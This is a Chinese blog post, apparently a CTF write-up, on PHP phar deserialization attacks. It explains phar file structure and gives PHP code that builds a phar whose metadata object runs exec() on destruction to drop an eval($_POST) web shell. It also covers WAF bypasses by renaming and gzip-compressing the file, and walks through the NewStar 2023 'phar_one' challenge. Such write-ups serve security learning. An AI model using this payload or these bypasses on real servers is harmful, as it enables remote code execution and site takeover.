原理

稍微介绍原理稍微介绍一下原理,phar 文件为php 中的压缩文件,其内置分为四个部分

  1. stub 部分

    为标识符,让 php 指令知道这是一个 phar 文件,一般的内容是<?php __HALT_COMPITER();?>

  2. manifest 部分

    记载着压缩文件的信息和权限,一般是用来介绍压缩文件的,但其形式含有反序列化,所以我们的利用点一般在这。

  3. content 部分

    压缩文本部分,不过多赘述。

  4. signature 部分

    签名部分,没可利用的。

上面也说了,在 manifest 部分有反序列化的方法,当赋值给 manifest 属性的是一个对象时,对象会被序列化后存到 manifest 里面去,而在读取 phar 文件时,manifest 的内容会被反序列化,所以我们可以构造可利用的类,把恶意代码写进去,然后利用 phar 伪协议读取恶意文件,然后执行恶意代码。

Phar的文件的实现

我们可以在 php代码里这么写:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Flag{
public $cmd="echo \"<?php eval(\\\$_POST['nebu']);?>\" >/var/www/html/shell.php";
}
$a=new Flag();
$phar = new Phar('phar.phar');
$phar->startBuffering();//签名开始
$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub属性
$phar->setMetadata($a);//设置manifest属性
$phar->addFromString("test.txt", "test");//设置content属性
$phar->stopBuffering();//签名结束
?>

另外提醒一下,一般来讲我们的 phar 是不让用的(出于安全原因),所以如果要运行上面代码,就得去 php.ini 里把 phar_readonly 这个属性改成 Off,然后删除最前面的;即可,修改完如下:

效果

然后运行代码,就会有个 phar.phar 文件出现在当前目录,注意一下,这里的 4 个属性都必须设置,不然就会生成失败。然后看看 phar.phar 文件:

phar

再次证实了序列化储存方式。

各种绕过方式

  1. phar 伪造成其他文件

    如果上传文件的后缀”phar”在 waf 里面,直接把 phar 后缀改成其他的就行了,这不影响,因为我们读取的时候要用 phar://伪协议,php 会把文件自动以phar 类型文件读取。

  2. 绕过__HALT_COMPITER()

    有些时候,题目会把__HALT_COMPITER()给 ban 了,这时候直接传肯定是不行的,此时为了绕过 waf,我们需要把 phar 文件以 gzip 的方式再次压缩,压缩完的文件为phar.phar.gz,此时再改名为 phar.png 就行了。

题目复现

复现的题目为 2023newstar-week4 的 phar_one:

有个恶意类,但没有 unserialize()函数,但有 unlink 函数,再结合文件上传,那思路非常明显,上传一个 phar 文件,再用 phar 伪协议访问执行。

在经过了一轮的 waf 检测后,发现 phar 和__HALT_COMPITER()全进 waf 了,那我们只要压缩完在重命名就行了。生成 phar 文件的代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Flag{
public $cmd="echo \"<?php eval(\\\$_POST['nebu']);?>\" >/var/www/html/shell.php";
public function __destruct()
{
@exec($this->cmd);
}
}
$a=new Flag();
$phar = new Phar('phar.phar');
$phar->startBuffering();//签名开始
$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub属性
$phar->setMetadata($a);//设置manifest属性
$phar->addFromString("test.txt", "test");//设置content属性
$phar->stopBuffering();//签名结束
?>

这里需要注意一下,我们在Linux中命令行里要输入 echo ““> shell.php 才能生成内容为的文件。如果少了一个\,就会变成导致文件不能运行,所以脚本里要有三个\,这样就能生成成功了。然后压缩:

然后重命名成 phar.jpg,然后上传:

上传成功,进入 class.php 利用 phar 伪协议访问:

拿到flag

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝